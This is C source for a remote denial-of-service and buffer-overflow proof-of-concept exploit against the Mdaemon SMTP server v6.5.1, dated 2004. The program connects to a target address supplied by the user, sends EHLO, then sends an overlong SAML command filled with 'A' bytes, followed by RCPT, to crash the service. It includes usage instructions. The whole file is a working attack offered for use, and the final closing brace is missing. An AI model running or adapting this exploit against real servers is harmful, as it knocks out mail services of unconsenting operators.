/////////////////////////////////////////////////////////////
// Remote DoS and proof-of-concept exploit //
// for //
// Mdaemon smtp server v6.5.1 //
// and //
// possible other version. //
// Find bug: D_BuG. //
// Author: D_BuG. //
// D_BuG@bk.ru //
// Data: 16/09/2004 //
// NOT PUBLIC! //
// Greets:Rasco. //
/////////////////////////////////////////////////////////////

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock,err;
struct sockaddr_in sa;

int main (int argc, char *argv[])

{

printf("Remote DoS and proof-of-concept(buffer overflow) exploit\n");
printf(" for \n");
printf("Mdaemon smtp server v6.5.1 and possible other version.\n");
if(argc!=4)
{
printf("Usage: %s <IPADDRESS> <PORT> <TARGET>\n",argv[0]);
printf("Target:\n1.DoS.\n2.Proof-of-concept(buffer overflow).\n");
printf("e.g.:%s 192.168.1.1 25 1\n",argv[0]);
exit(-1);
}

sa.sin_family=AF_INET;
sa.sin_port=htons(atoi(argv[2]));
if(inet_pton(AF_INET, argv[1], &sa.sin_addr) <= 0)
printf("Error inet_pton\n");

sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

printf("[~]Connecting...\n");

if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) <0)
{
printf("[-]Connect filed....\nExit...\n");
exit(-1);
}

int len=247;

if(atoi(argv[3])==2)
{
len++;
}

char szBuffer[len+7];
char buff[len];
char send[]="EHLO tester\n";
char send3[]="RCPT TO postmaster\n";
char rcv[1024];
int i;
for(i=0;i<len;i++)
{
buff[i]=0x41;
}

sprintf(szBuffer,"SAML %s\n",buff);

printf("[+]Ok!\n");
sleep(2);
printf("[~]Get banner...\n");
if(read(sock,&rcv,sizeof(rcv)) !=-1){}

if(strstr(rcv,"220")==NULL)
{
printf("[-]Failed!\n");
}
else
{
printf("[+]Ok!\n");
}

printf("[~]Send EHLO...\n");
write(sock,send,sizeof(send)-1);
sleep(2);
memset(rcv,0,1024);
if(read(sock,&rcv,sizeof(rcv)) !=-1){}

if(strstr(rcv,"250")==NULL)
{
printf("[-]Failed...\n");
}
else
{
printf("[+]Ok!\n");
}
printf("[~]Send SAML...\n");
write(sock,szBuffer,strlen(szBuffer));//Send SAML
sleep(2);
memset(rcv,0,1024);
if(read(sock,&rcv,sizeof(rcv)) !=-1){}

if(strstr(rcv,"250")==NULL)
{
printf("[-]Exploit failed...please check your version Mdaemon!\n");
printf("[-]Exit...\n");
exit(-1);
}
printf("[+]Ok!\n");

printf("[~]Send RCPT...\n\n");
write(sock,send3,sizeof(send3)-1);//Send RCPT
sleep(2);
if(atoi(argv[3])==2)
{
printf("[+]Crash service.....\n");
}
else
{
printf("[+]DoS service.....\n");
}
printf("[~]Done.\n");

close(sock);

return 0;